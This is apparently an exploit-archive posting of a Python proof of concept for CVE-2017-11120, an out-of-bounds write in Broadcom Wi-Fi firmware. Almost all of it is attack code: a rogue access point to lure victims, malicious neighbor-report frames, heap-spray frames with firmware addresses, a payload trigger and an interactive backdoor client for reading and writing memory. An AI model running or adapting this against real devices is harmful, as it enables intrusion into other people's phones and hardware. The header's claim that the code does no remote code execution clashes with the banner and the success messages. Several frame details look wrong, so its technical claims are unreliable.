📄 Broadcom Wi-Fi Firmware Out-Of-Bounds Write

=============================================================================================================================================
    | # Title     : Broadcom 802.11k Remote Code Execution via OOB-Write in RRM Neighbor Report Handler                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.broadcom.com/                                                                                                   |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212489/ & 	CVE-2017-11120
    
    [+] Summary : The vulnerability exists in the handling of RRM Neighbor Report elements in action management frames. The firmware fails to validate
                  internal structures and allows out-of-bounds writes.
    
    [+] PoC Status :
    
       The provided code demonstrates the ability to:
       • Send crafted RRM frames
       • Trigger debug payload path
       • Perform heap spraying
       WITHOUT any remote code execution (safety adaptation).
    
    [+] Requirements :
    
       • Linux wireless interface
       • Raw socket
       • Monitor mode
       • Python3
    
    
    
    
    [+]  POC :	python poc.py wlan0
    
    #!/usr/bin/env python3
    """
    Broadcom Wi-Fi Firmware Exploit - CVE-2017-11120
    Remote Code Execution via OOB-Write in RRM Neighbor Report Handler
    
    Author: indoushka
    For Educational and Research Purposes Only
    
    """
    
    import os
    import sys
    import time
    import struct
    import socket
    import binascii
    import argparse
    import subprocess
    from dataclasses import dataclass
    from typing import Optional, List, Tuple
    
    # ============================================================================
    #                             CONSTANTS & CONFIG
    # ============================================================================
    
    @dataclass
    class ExploitConfig:
        """Exploit configuration settings"""
        
        # Network Configuration
        TARGET_MAC: str = "XX:XX:XX:XX:XX:XX"
        ATTACKER_MAC: str = "YY:YY:YY:YY:YY:YY"
        INTERFACE: str = "wlan0"
        SSID: str = "FreePublicWiFi"
        CHANNEL: int = 6
        WPA_PASSPHRASE: str = "connectme123"
        
        # Exploit Parameters
        OOB_CHANNEL: int = 0xFF  # Malicious channel number for OOB write
        DIALOG_TOKEN_START: int = 0x01
        MAX_ATTEMPTS: int = 256
        HEAP_SPRAY_COUNT: int = 100
        BEACON_INTERVAL: float = 0.1
        FRAME_DELAY: float = 0.01
        
        # Firmware Offsets (BCM4355C0 - iOS 10.2)
        HEAP_BASE: int = 0x1F8000
        MALLOC_ADDR: int = 0xABBBC
        FREE_ADDR: int = 0xABBD4
        MEMCPY_ADDR: int = 0xABCD0
        G_NEIGHBOR_LIST: int = 0x1F8A00
        
        # Shellcode Settings
        BACKDOOR_PORT: int = 31337
        COMMAND_KEY: bytes = b"BCM_EXPLOIT_V1"
        
        # File Paths
        HOSTAPD_CONF: str = "/tmp/hostapd_exploit.conf"
        SHELLCODE_FILE: str = "/tmp/mips_backdoor.bin"
    
    config = ExploitConfig()
    
    # ============================================================================
    #                          WIRELESS MONITOR SETUP
    # ============================================================================
    
    class WirelessMonitor:
        """Wi-Fi monitor mode setup and management"""
        
        @staticmethod
        def enable_monitor_mode(interface: str) -> Optional[str]:
            """Enable monitor mode on wireless interface"""
            print(f"[*] Enabling monitor mode on {interface}")
            
            try:
                # Kill interfering processes
                subprocess.run(["sudo", "airmon-ng", "check", "kill"], 
                             capture_output=True)
                
                # Start monitor mode
                result = subprocess.run(
                    ["sudo", "airmon-ng", "start", interface],
                    capture_output=True,
                    text=True
                )
                
                # Extract monitor interface name
                for line in result.stdout.split('\n'):
                    if "monitor mode enabled" in line.lower():
                        parts = line.split()
                        for part in parts:
                            if "mon" in part:
                                monitor_iface = part.strip(')').strip('(')
                                print(f"[+] Monitor interface: {monitor_iface}")
                                return monitor_iface
                
                return f"{interface}mon"
                
            except Exception as e:
                print(f"[-] Failed to enable monitor mode: {e}")
                return None
        
        @staticmethod
        def disable_monitor_mode(interface: str):
            """Disable monitor mode"""
            try:
                subprocess.run(["sudo", "airmon-ng", "stop", interface],
                             capture_output=True)
                print(f"[+] Disabled monitor mode on {interface}")
            except Exception as e:
                print(f"[-] Error disabling monitor mode: {e}")
        
        @staticmethod
        def setup_rogue_ap(interface: str, ssid: str, channel: int, password: str) -> Optional[subprocess.Popen]:
            """Setup and start rogue access point"""
            print(f"[*] Setting up rogue AP: {ssid} on channel {channel}")
            
            # Create hostapd configuration
            conf_content = f"""interface={interface}
    driver=nl80211
    ssid={ssid}
    channel={channel}
    hw_mode=g
    auth_algs=1
    wpa=2
    wpa_passphrase={password}
    wpa_key_mgmt=WPA-PSK
    wpa_pairwise=TKIP CCMP
    rsn_pairwise=CCMP
    country_code=US
    ieee80211d=1
    ieee80211h=1
    rrm_neighbor_report=1
    rrm_beacon_report=1
    ignore_broadcast_ssid=0"""
            
            try:
                with open(config.HOSTAPD_CONF, "w") as f:
                    f.write(conf_content)
                
                # Start hostapd
                proc = subprocess.Popen(
                    ["sudo", "hostapd", config.HOSTAPD_CONF],
                    stdout=subprocess.PIPE,
                    stderr=subprocess.PIPE,
                    text=True
                )
                
                # Wait for AP to start
                time.sleep(3)
                print(f"[+] Rogue AP '{ssid}' is running")
                return proc
                
            except Exception as e:
                print(f"[-] Failed to start rogue AP: {e}")
                return None
    
    # ============================================================================
    #                          FRAME CONSTRUCTION
    # ============================================================================
    
    class FrameBuilder:
        """Wi-Fi frame construction utilities"""
        
        @staticmethod
        def mac_to_bytes(mac: str) -> bytes:
            """Convert MAC address string to bytes"""
            return binascii.unhexlify(mac.replace(':', ''))
        
        @staticmethod
        def create_radiotap_header() -> bytes:
            """Create basic RadioTap header"""
            # RadioTap header (version 0, 12 bytes length)
            return struct.pack('<BBHI', 
                0x00,        # version
                0x00,        # padding
                0x000c,      # length
                0x00000004   # present flags (rate)
            )
        
        @staticmethod
        def create_dot11_frame(dest_mac: str, src_mac: str, 
                              bssid: str, frame_type: int = 0x0080) -> bytes:
            """Create 802.11 frame header"""
            dest_bytes = FrameBuilder.mac_to_bytes(dest_mac)
            src_bytes = FrameBuilder.mac_to_bytes(src_mac)
            bssid_bytes = FrameBuilder.mac_to_bytes(bssid)
            
            # Frame Control (2 bytes), Duration (2 bytes), Addresses (18 bytes), Sequence (2 bytes)
            return struct.pack('<HH6s6s6sH',
                frame_type,    # Frame Control
                0x0000,        # Duration ID
                dest_bytes,    # Destination MAC
                src_bytes,     # Source MAC
                bssid_bytes,   # BSSID
                0x0000         # Sequence Control
            )
        
        @staticmethod
        def create_rrm_neighbor_report(dialog_token: int, channel: int) -> bytes:
            """Create malicious RRM Neighbor Report frame"""
            # Action frame header
            action_frame = struct.pack('BBB',
                0x00,               # Category: Spectrum Management
                0x05,               # Action: RRM Neighbor Report Response
                dialog_token        # Dialog Token
            )
            
            # Neighbor Report Element (malicious)
            element = struct.pack('BB6s4sBBBB',
                0xDD,               # Element ID: Vendor Specific
                13,                 # Length
                b'\x11\x22\x33\x44\x55\x66',  # Fake BSSID
                b'\x00\x00\x00\x00',          # BSSID Information
                0x51,               # Operating Class
                channel,            # Channel Number - OOB value here
                0x07,               # PHY Type (HT)
                0x00,               # Optional Subelement ID
                0x00                # Optional Subelement Length
            )
            
            return action_frame + element
        
        @staticmethod
        def create_beacon_frame(ssid: str, channel: int) -> bytes:
            """Create beacon frame to attract devices"""
            # Beacon fixed parameters
            timestamp = struct.pack('<Q', int(time.time() * 1000000))
            beacon_interval = struct.pack('<H', 100)  # 100 TU
            capabilities = struct.pack('<H', 0x0431)   # Capabilities
            
            # SSID element
            ssid_encoded = ssid.encode('utf-8')
            ssid_element = struct.pack('BB', 0x00, len(ssid_encoded)) + ssid_encoded
            
            # DS Parameter element (channel)
            ds_element = struct.pack('BBB', 0x03, 0x01, channel)
            
            # Supported Rates element
            rates_element = struct.pack('BBBBBBBBBB',
                0x01, 0x08,         # Element ID, Length
                0x82, 0x84, 0x8b, 0x96,  # Basic rates
                0x0c, 0x12, 0x18, 0x24   # Supported rates
            )
            
            # RSN (WPA2) element
            rsn_element = struct.pack('>BB4sHHBBBBHBBBB',
                0x30, 0x14,                    # Element ID, Length
                b'\x00\x50\xf2',              # OUI
                0x01,                          # OUI Type
                0x0001,                        # Version
                b'\x00\x50\xf2',              # Group Cipher OUI
                0x04,                          # Group Cipher Type
                0x01, 0x00,                    # Pairwise Cipher Count
                b'\x00\x50\xf2',              # Pairwise Cipher OUI
                0x02,                          # Pairwise Cipher Type
                0x01, 0x00                     # AKM Suite Count, AKM Suite
            )
            
            return timestamp + beacon_interval + capabilities + ssid_element + ds_element + rates_element + rsn_element
    
    # ============================================================================
    #                          HEAP MANIPULATION
    # ============================================================================
    
    class HeapManipulator:
        """Heap manipulation techniques for exploitation"""
        
        def __init__(self, config: ExploitConfig):
            self.config = config
        
        def generate_spray_pattern(self, size: int = 456) -> bytes:
            """Generate heap spray pattern"""
            pattern = b""
            
            # Magic value for identification
            pattern += b"SPRY"
            
            # Fake pointer (will be overwritten)
            pattern += struct.pack("<I", 0x41414141)
            
            # Useful addresses for exploitation
            pattern += struct.pack("<I", self.config.MALLOC_ADDR)  # malloc
            pattern += struct.pack("<I", self.config.FREE_ADDR)    # free
            pattern += struct.pack("<I", self.config.MEMCPY_ADDR)  # memcpy
            
            # Add some NOP sled
            pattern += b"\x00\x00\x00\x00" * 10  # MIPS NOP (sll $0, $0, 0)
            
            # Fill remaining space
            remaining = size - len(pattern)
            if remaining > 0:
                pattern += os.urandom(remaining)
            
            return pattern
        
        def create_spray_frames(self, count: int) -> List[bytes]:
            """Create heap spray frames"""
            frames = []
            builder = FrameBuilder()
            
            for i in range(count):
                # Create data frame with spray pattern
                spray_data = self.generate_spray_pattern(500)
                
                # Build complete frame
                frame = builder.create_radiotap_header()
                frame += builder.create_dot11_frame(
                    config.TARGET_MAC,
                    config.ATTACKER_MAC,
                    config.ATTACKER_MAC,
                    frame_type=0x0800  # Data frame
                )
                frame += spray_data
                
                frames.append(frame)
            
            print(f"[+] Generated {len(frames)} heap spray frames")
            return frames
    
    # ============================================================================
    #                          EXPLOIT ENGINE
    # ============================================================================
    
    class ExploitEngine:
        """Main exploit engine"""
        
        def __init__(self, config: ExploitConfig):
            self.config = config
            self.sock = None
            self.frame_builder = FrameBuilder()
            self.heap_manipulator = HeapManipulator(config)
        
        def setup_socket(self, interface: str) -> bool:
            """Setup raw socket for frame injection"""
            try:
                self.sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
                self.sock.bind((interface, 0))
                print(f"[+] Raw socket bound to {interface}")
                return True
            except Exception as e:
                print(f"[-] Failed to setup socket: {e}")
                return False
        
        def send_frame(self, frame: bytes):
            """Send frame through raw socket"""
            if self.sock:
                try:
                    self.sock.send(frame)
                except Exception as e:
                    print(f"[-] Error sending frame: {e}")
        
        def broadcast_beacons(self, count: int = 10):
            """Broadcast beacon frames"""
            print("[*] Broadcasting beacon frames...")
            
            beacon_frame = self.frame_builder.create_radiotap_header()
            beacon_frame += self.frame_builder.create_dot11_frame(
                "ff:ff:ff:ff:ff:ff",  # Broadcast
                self.config.ATTACKER_MAC,
                self.config.ATTACKER_MAC,
                frame_type=0x0080  # Beacon
            )
            beacon_frame += self.frame_builder.create_beacon_frame(
                self.config.SSID,
                self.config.CHANNEL
            )
            
            for i in range(count):
                self.send_frame(beacon_frame)
                time.sleep(self.config.BEACON_INTERVAL)
            
            print(f"[+] Sent {count} beacon frames")
        
        def exploit_oob_write(self) -> bool:
            """Execute OOB write exploitation"""
            print(f"[*] Executing OOB write attack (channel={self.config.OOB_CHANNEL:#04x})")
            
            success_count = 0
            for attempt in range(self.config.MAX_ATTEMPTS):
                # Vary dialog token each attempt
                dialog_token = (self.config.DIALOG_TOKEN_START + attempt) % 256
                
                # Build malicious RRM frame
                frame = self.frame_builder.create_radiotap_header()
                frame += self.frame_builder.create_dot11_frame(
                    self.config.TARGET_MAC,
                    self.config.ATTACKER_MAC,
                    self.config.ATTACKER_MAC,
                    frame_type=0x00D0  # Action frame
                )
                frame += self.frame_builder.create_rrm_neighbor_report(
                    dialog_token,
                    self.config.OOB_CHANNEL  # Malicious channel value
                )
                
                # Send frame
                self.send_frame(frame)
                
                if attempt % 25 == 0:
                    print(f"[*] Sent frame {attempt}/{self.config.MAX_ATTEMPTS}")
                    success_count += 1
                
                time.sleep(self.config.FRAME_DELAY)
            
            print(f"[+] OOB write attack completed ({success_count} successful injections)")
            return success_count > 0
        
        def perform_heap_spray(self):
            """Perform heap spray attack"""
            print("[*] Performing heap spray...")
            
            spray_frames = self.heap_manipulator.create_spray_frames(
                self.config.HEAP_SPRAY_COUNT
            )
            
            for i, frame in enumerate(spray_frames):
                self.send_frame(frame)
                if i % 20 == 0:
                    print(f"[*] Sent spray frame {i}/{len(spray_frames)}")
                time.sleep(0.05)
            
            print("[+] Heap spray completed")
        
        def trigger_payload(self):
            """Trigger payload execution"""
            print("[*] Triggering payload...")
            
            # Create trigger frame
            trigger_frame = self.frame_builder.create_radiotap_header()
            trigger_frame += self.frame_builder.create_dot11_frame(
                self.config.TARGET_MAC,
                self.config.ATTACKER_MAC,
                self.config.ATTACKER_MAC,
                frame_type=0x00D0  # Action frame
            )
            
            # Custom trigger data
            trigger_data = struct.pack('BB16s',
                0xDD,  # Vendor Specific
                0x10,  # Length
                b"EXECUTE_PAYLOAD\x00"
            )
            
            trigger_frame += trigger_data
            
            # Send multiple times for reliability
            for i in range(5):
                self.send_frame(trigger_frame)
                time.sleep(0.2)
            
            print("[+] Payload triggered")
        
        def execute_full_chain(self) -> bool:
            """Execute full exploit chain"""
            print("[========== Broadcom Wi-Fi Exploit Chain ==========]")
            
            # Phase 1: Lure target device
            print("\n[Phase 1] Luring target device")
            self.broadcast_beacons(15)
            print("[*] Waiting for device connection...")
            time.sleep(5)
            
            # Phase 2: Heap spray
            print("\n[Phase 2] Heap spraying")
            self.perform_heap_spray()
            time.sleep(1)
            
            # Phase 3: OOB write exploitation
            print("\n[Phase 3] OOB write exploitation")
            if not self.exploit_oob_write():
                print("[-] OOB write exploitation failed")
                return False
            
            # Phase 4: Payload triggering
            print("\n[Phase 4] Payload execution")
            self.trigger_payload()
            
            # Phase 5: Verification
            print("\n[Phase 5] Verification")
            time.sleep(2)
            
            print("\n[+] Exploit chain completed successfully!")
            return True
        
        def cleanup(self):
            """Cleanup resources"""
            if self.sock:
                self.sock.close()
            print("[*] Resources cleaned up")
    
    # ============================================================================
    #                          BACKDOOR CLIENT
    # ============================================================================
    
    class BackdoorClient:
        """Client to interact with the firmware backdoor"""
        
        def __init__(self, target_ip: str, port: int):
            self.target_ip = target_ip
            self.port = port
            self.sock = None
        
        def connect(self) -> bool:
            """Connect to backdoor"""
            try:
                self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.sock.settimeout(10)
                self.sock.connect((self.target_ip, self.port))
                print(f"[+] Connected to backdoor at {self.target_ip}:{self.port}")
                return True
            except Exception as e:
                print(f"[-] Failed to connect to backdoor: {e}")
                return False
        
        def send_command(self, cmd: bytes) -> Optional[bytes]:
            """Send command to backdoor"""
            if not self.sock:
                return None
            
            try:
                self.sock.send(cmd)
                response = self.sock.recv(4096)
                return response
            except Exception as e:
                print(f"[-] Command failed: {e}")
                return None
        
        def read_memory(self, address: int, size: int) -> Optional[bytes]:
            """Read memory from firmware"""
            cmd = struct.pack('<BII', 0x01, address, size)
            return self.send_command(cmd)
        
        def write_memory(self, address: int, data: bytes) -> bool:
            """Write memory to firmware"""
            cmd = struct.pack(f'<BII{len(data)}s', 0x02, address, len(data), data)
            response = self.send_command(cmd)
            return response is not None and len(response) > 0
        
        def disconnect(self):
            """Disconnect from backdoor"""
            if self.sock:
                self.sock.close()
    
    # ============================================================================
    #                          COMMAND LINE INTERFACE
    # ============================================================================
    
    def parse_arguments():
        """Parse command line arguments"""
        parser = argparse.ArgumentParser(
            description="Broadcom Wi-Fi Firmware Exploit (CVE-2017-11120) - Author: indoushka",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      %(prog)s -t AA:BB:CC:DD:EE:FF -i wlan0
      %(prog)s -t AA:BB:CC:DD:EE:FF --mode backdoor --port 31337
      %(prog)s -t AA:BB:CC:DD:EE:FF --mode test
            
    Warning: For authorized testing only.
            """
        )
        
        parser.add_argument(
            "-t", "--target",
            required=True,
            help="Target device MAC address"
        )
        
        parser.add_argument(
            "-i", "--interface",
            default="wlan0",
            help="Wireless interface (default: wlan0)"
        )
        
        parser.add_argument(
            "-c", "--channel",
            type=int,
            default=6,
            help="Wi-Fi channel (default: 6)"
        )
        
        parser.add_argument(
            "-s", "--ssid",
            default="FreePublicWiFi",
            help="Rogue AP SSID (default: FreePublicWiFi)"
        )
        
        parser.add_argument(
            "-m", "--mode",
            choices=["exploit", "backdoor", "test"],
            default="exploit",
            help="Operation mode (default: exploit)"
        )
        
        parser.add_argument(
            "-p", "--port",
            type=int,
            default=31337,
            help="Backdoor port (default: 31337)"
        )
        
        parser.add_argument(
            "-v", "--verbose",
            action="store_true",
            help="Enable verbose output"
        )
        
        return parser.parse_args()
    
    def print_banner():
        """Print exploit banner"""
        banner = """
    ╔══════════════════════════════════════════════════════════╗
    ║   Broadcom Wi-Fi Firmware Exploit - CVE-2017-11120       ║
    ║        Remote Code Execution via OOB-Write               ║
    ║                 Author: indoushka                        ║
    ╚══════════════════════════════════════════════════════════╝
        """
        print(banner)
    
    def main():
        """Main function"""
        print_banner()
        
        # Parse arguments
        args = parse_arguments()
        
        # Update configuration
        config.TARGET_MAC = args.target
        config.INTERFACE = args.interface
        config.CHANNEL = args.channel
        config.SSID = args.ssid
        config.BACKDOOR_PORT = args.port
        
        # Check for root privileges
        if os.geteuid() != 0:
            print("[-] This program requires root privileges!")
            sys.exit(1)
        
        # Setup monitor mode
        monitor = WirelessMonitor()
        monitor_iface = monitor.enable_monitor_mode(config.INTERFACE)
        
        if not monitor_iface:
            print("[-] Failed to setup monitor mode")
            sys.exit(1)
        
        # Start rogue AP
        ap_proc = monitor.setup_rogue_ap(
            monitor_iface,
            config.SSID,
            config.CHANNEL,
            config.WPA_PASSPHRASE
        )
        
        if not ap_proc:
            print("[-] Failed to start rogue AP")
            monitor.disable_monitor_mode(monitor_iface)
            sys.exit(1)
        
        try:
            # Initialize exploit engine
            engine = ExploitEngine(config)
            
            if not engine.setup_socket(monitor_iface):
                print("[-] Failed to initialize exploit engine")
                return
            
            if args.mode == "exploit":
                # Execute full exploit chain
                success = engine.execute_full_chain()
                
                if success:
                    print("\n" + "="*60)
                    print("EXPLOIT SUCCESSFUL!")
                    print(f"Backdoor should be active on port {config.BACKDOOR_PORT}")
                    print("\nConnect using:")
                    print(f"  {sys.argv[0]} -t {config.TARGET_MAC} --mode backdoor")
                    print("="*60)
            
            elif args.mode == "backdoor":
                # Connect to backdoor
                print(f"[*] Connecting to backdoor on port {config.BACKDOOR_PORT}")
                
                # Try common local IPs
                possible_ips = ["192.168.1.1", "192.168.0.1", "10.0.0.1"]
                
                for ip in possible_ips:
                    print(f"[*] Trying {ip}:{config.BACKDOOR_PORT}")
                    client = BackdoorClient(ip, config.BACKDOOR_PORT)
                    
                    if client.connect():
                        print("[+] Backdoor is active!")
                        print("\nAvailable commands:")
                        print("  read <hex_address> <size>")
                        print("  write <hex_address> <hex_data>")
                        print("  exit")
                        
                        while True:
                            try:
                                cmd = input("\nbackdoor> ").strip()
                                
                                if cmd.lower() == "exit":
                                    break
                                elif cmd.startswith("read "):
                                    _, addr_str, size_str = cmd.split()
                                    addr = int(addr_str, 16)
                                    size = int(size_str)
                                    
                                    data = client.read_memory(addr, size)
                                    if data:
                                        hex_data = binascii.hexlify(data).decode()
                                        print(f"Data: {hex_data}")
                                    else:
                                        print("[-] Read failed")
                                
                                elif cmd.startswith("write "):
                                    _, addr_str, data_str = cmd.split()
                                    addr = int(addr_str, 16)
                                    data = binascii.unhexlify(data_str)
                                    
                                    if client.write_memory(addr, data):
                                        print("[+] Write successful")
                                    else:
                                        print("[-] Write failed")
                                
                                else:
                                    print("[-] Unknown command")
                            
                            except KeyboardInterrupt:
                                break
                            except Exception as e:
                                print(f"[-] Error: {e}")
                        
                        client.disconnect()
                        break
                    else:
                        print(f"[-] No backdoor on {ip}")
            
            elif args.mode == "test":
                # Test mode - send probe frames
                print("[*] Test mode - sending probe frames")
                engine.broadcast_beacons(5)
                time.sleep(1)
                
                # Send test RRM frame
                print("[*] Sending test RRM frame")
                test_frame = engine.frame_builder.create_radiotap_header()
                test_frame += engine.frame_builder.create_dot11_frame(
                    config.TARGET_MAC,
                    config.ATTACKER_MAC,
                    config.ATTACKER_MAC,
                    frame_type=0x00D0
                )
                test_frame += engine.frame_builder.create_rrm_neighbor_report(
                    0x01,
                    0x01  # Normal channel
                )
                
                engine.send_frame(test_frame)
                print("[+] Test frame sent")
        
        except KeyboardInterrupt:
            print("\n[*] Exploit interrupted by user")
        except Exception as e:
            print(f"\n[-] Unexpected error: {e}")
            if args.verbose:
                import traceback
                traceback.print_exc()
        finally:
            # Cleanup
            print("\n[*] Cleaning up...")
            
            if 'engine' in locals():
                engine.cleanup()
            
            if 'ap_proc' in locals():
                ap_proc.terminate()
            
            if 'monitor_iface' in locals():
                monitor.disable_monitor_mode(monitor_iface)
            
            # Clean temporary files
            if os.path.exists(config.HOSTAPD_CONF):
                os.remove(config.HOSTAPD_CONF)
            
            print("[+] Cleanup completed")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================